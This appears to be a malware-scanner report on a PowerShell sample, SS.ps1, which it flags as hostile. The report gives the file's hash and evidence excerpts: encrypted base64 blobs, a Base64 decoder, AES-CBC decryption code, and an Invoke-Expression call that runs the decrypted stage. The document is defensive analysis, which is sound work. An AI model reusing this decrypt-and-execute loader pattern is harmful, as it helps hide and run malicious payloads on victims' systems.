Hostile 99% powershell Download

SS.ps1

Obfuscated payload, AES decryption, IEX execution

PowerShell AES-decrypts an embedded stage and evaluates itPowerShell AES-encrypted script execution
SHA-256ea9526d87dbfd0900e0e59ea716a484bf1ad2e3bf74f53a514b0999c01bffd29

Evidence

PowerShell deletion command in a string literal lines 91–96
91:29… fznoWrJiGWlqKKOQCQVQiNo7WuQRZr2biDsmOnvaSH9joZge
92bAagLJihDwI5Fko4Y5YpEbqG05VQFVmyu2O+6o0t94EVznCyUHd4eG28plTTyEuDa4srd2QpEmbM
93ri/Z9VCzYeX/vmFTEaMWZGPFlfrLtunFZFsz0z+OYtlCJUIjJyS87+v9//qKTiZA+9+BNw4uQ/rg
94dlF88FQbtHClahpV4X+JZpz8I7zGblD5FJeV3hu0J/NJwqnNUfPP92B6Le7NkSTKC1kSlZFbtjXj
95NQgav3krHz0XDXSkGwzRFEwY2WPUaPDKalLjw3FbP/QZlkF+5ih7cHCewNWipGZ//6LoEAWMSFv6
96YQIbcuoKdFNKoSIgkpY7hMP5 …
Installer silent-mode command-line switch lines 1718–1720
1718:8… HmZak1860FrQhXkf8aRLR/knslilV3yX6mNStW3NE7STppC+UZon9/u6q4yw9XlY/qn/J
1719Zd1jB7IeKbHseWj+1aDF//6SefJtaJEfE+At5UVFP3jXMLkszZnMOQ/rfH5MspEp8hFMupenq4Zi
1720yGhpPI+Bc4CJz0jDs6I99f6KN6dYBRkTZGhfHGVtCZ1c0o …
English function-word token "the" lines 10794–10796
10794:31… f7yfZNZiD1jsZrVAhBBy88RmAW5sy6IRep3HYZJLzki9G4
10795The/ywVdK9iZ84N5snDqkpUHGVq4lQqsFC0WJUHSOjKzH2+BUPhcScEDKwd1F7Pkpik1uJoR87Wg
10796B5ZKVqAjd+LVpOxmZ6RRP …
Uses AesManaged in .NET lines 13301–13336
13301:9… sP5dg7PwYOGlaw==
13302'@
13303
13304# Custom Base64 decoder with whitespace stripping
13305function Decode-Base64Data
13306{
13307 param([string]$inputString)
13308 $processedString = $inputString -replace '\s','' -replace '-','+' -replace '_','/'
13309 while ($processedString.Length % 4 -ne 0) { $processedString += '=' }
13310 return [Convert]::FromBase64String($processedString)
13311}
13312
⋯7 lines
13320 )
13321
13322 $aes = New-Object System.Security.Cryptography.AesManaged
13323 $aes.Key = $secretKey
13324 $aes.IV = $ivVector
13325 $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
13326 $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
13327
13328 $decryptor = $aes.CreateDecryptor()
13329 $outputStream = New-Object System.IO.MemoryStream
13330 $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outputStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
13331
13332 $cryptoStream.Write($cipherData, 0, $cipherData.Length)
13333 $cryptoStream.FlushFinalBlock()
13334
13335 $resultData = $outputStream.ToArray()
13336 $resultText = [System.Text.Encoding] …
PowerShell invokes Invoke-Expression (IEX) lines 13403–13418
13403:7… ($wrapperResult.Success)
13404 {
13405 Write-Host "[+] Decryption successful! Executing code..."
13406 $executionResult = Invoke-Expression $wrapperResult.Data
13407
13408 if ($executionResult -ne $null)
⋯10 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.